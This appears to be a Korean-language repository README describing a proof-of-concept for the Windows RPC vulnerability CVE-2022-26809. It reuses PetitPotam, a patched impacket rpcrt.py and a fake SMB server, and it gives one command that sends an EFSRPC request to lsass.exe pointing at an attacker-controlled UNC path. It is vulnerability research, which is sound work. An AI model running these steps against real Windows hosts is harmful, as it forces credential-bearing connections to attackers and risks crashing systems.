
이 저장소는 CVE에 대한 간단한 리서치입니다. 더 자세한 분석은 여기를 참조하세요.
업데이트: 05/19 2022
이 분석은 아직 완료되지 않았습니다....
업데이트: 05/22 2022
HuanGMz 포스트와 corelight 블로그에서 실제 취약점을 보여줍니다:
OSF_CASSOCIATION::ProcessBindAckOrNak
이 취약점은 CVE-2021-43893과 유사하게 트리거됩니다. UNC 경로를 사용하여 lsass.exe에 ESFRPC 요청을 보내면, 피해자는 대상에 클라이언트로 접근을 시도하게 되며, 따라서 클라이언트 API에서 정수 오버플로우가 트리거됩니다.
이 취약점을 트리거할 더 나은 방법이 있다면 언제든지 issue나 PR을 제출해 주세요 :)
취약점이 CVE-2021-43893과 유사하게 트리거되므로 PetitPotam 코드를 클론하면 됩니다.
다음과 같이 환경을 준비하세요:
rpcrt.py를 원본과 교체한 후 fake_smb_server.py를 실행합니다(**Windows에서는 445 포트가 System에 의해 점유되어 있으므로, Linux에서 서비스를 배포하는 것을 권장합니다 **python petitpotam.py -pipe lsarpc -method DecryptFileSrv -debug "user:[email protected]" "\\attacker.path\realfile
lsass.exe에 페이지 힙(page heap)을 활성화하세요(하지만 저는 BSoD 트리거에 성공하지 못했습니다. windbg에 따르면 정수 오버플로우는 이미 트리거되었습니다)이전 설명
다음은 Windows RPC 취약점 CVE-2022-26809의 재현 코드이며, https://github.com/microsoft/Windows-classic-samples/blob/main/Samples/Win7Samples/netds/rpc/hello를 참조했습니다.
제 파이썬 버전은 3.6.7입니다
GetCoalescedBuffer가 실제 CVE-2022-26809와 관련이 있는지 확실하지 않지만, 일단 유지합니다
poc.py는 취약 함수 OSF_SCALL::GetCoalescedBuffer를 트리거하려고 시도할 뿐입니다. dword 정수 오버플로우는 재현하기 너무 어렵기 때문에 크래시를 유발하지는 않습니다. 그리고 rpcrt.py는 파이썬 패키지 impacket.dcerpc.v5.rpcrt로, 취약점을 트리거하려면 원본과 교체하세요(원본을 백업해 두는 것을 잊지 마세요 :) rpcrt.py에는 버그가 많을 것이라고 생각합니다).
동작하지 않는다면 wireshark가 버그를 찾는 데 도움이 될 수 있습니다.
필요하다면 nmake를 사용하여 다시 빌드하세요.